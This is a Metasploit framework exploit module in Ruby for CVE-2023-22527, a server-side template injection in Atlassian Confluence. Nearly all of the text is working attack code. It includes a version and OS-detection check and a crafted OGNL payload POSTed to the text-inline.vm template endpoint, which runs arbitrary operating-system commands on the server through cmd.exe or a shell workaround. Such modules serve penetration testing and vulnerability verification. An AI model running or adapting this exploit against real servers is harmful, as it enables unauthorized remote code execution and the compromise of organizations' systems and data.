## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence SSTI Injection', 'Description' => %q{ This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the injection to evaluate an OGNL expression resulting in OS command execution. Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable. }, 'Author' => [ 'Rahul Maini', # ProjectDiscovery analysis 'Harsh Jaiswal', # ProjectDiscovery analysis 'Spencer McIntyre' ], 'References' => [ ['CVE', '2023-22527'], ['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'], ['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/'] ], 'DisclosureDate' => '2024-01-16', # Atlassian advisory released 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8191, 'DisableNops' => true } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8090 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def get_confluence_platform # this method gets the platform by exploiting CVE-2023-22527 return @confluence_platform if @confluence_platform header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}" ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '') @org.apache.struts2.ServletActionContext@getResponse().setHeader( '#{header}', (@java.lang.System@getProperty('os.name')) ) OGNL res = inject_ognl(ognl) return nil unless res res.headers[header] end def check confluence_version = get_confluence_version return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version vprint_status("Detected Confluence version: #{confluence_version}") if confluence_version > Rex::Version.new('8.5.3') return CheckCode::Safe("Version #{confluence_version} is not affected.") end confluence_platform = get_confluence_platform unless confluence_platform return CheckCode::Safe('Failed to test OGNL injection.') end vprint_status("Detected target platform: #{confluence_platform}") CheckCode::Vulnerable('Successfully tested OGNL injection.') end def exploit confluence_platform = get_confluence_platform unless confluence_platform fail_with(Failure::NotVulnerable, 'The target is not vulnerable.') end unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win') fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'") end print_status("Executing #{payload_instance.refname} (#{target.name})") execute_command(payload.encoded) end def execute_command(cmd, _opts = {}) param = rand_text_alphanumeric(6..10) # reference a parameter in the OGNL to work around the 200 character length limit ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '') (new freemarker.template.utility.Execute()).exec( {@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')} ) OGNL if target['Platform'] == 'win' vars_post = { param => "cmd.exe /c \"#{cmd}\"" } else # the command is executed via Runtime.exec, so sh -c "#{cmd}" will not work with all payloads # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1 vars_post = { param => "sh -c $@|sh . echo #{cmd}" } end inject_ognl(ognl, 'vars_post' => vars_post) end def inject_ognl(ognl, opts = {}) opts = opts.clone param = rand_text_alphanumeric(6..10) final_opts = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'), 'vars_post' => { # label and param are both limited to a 200 character length by default 'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027", param => ognl }.merge(opts.delete('vars_post') || {}) }.merge(opts) send_request_cgi(final_opts) end end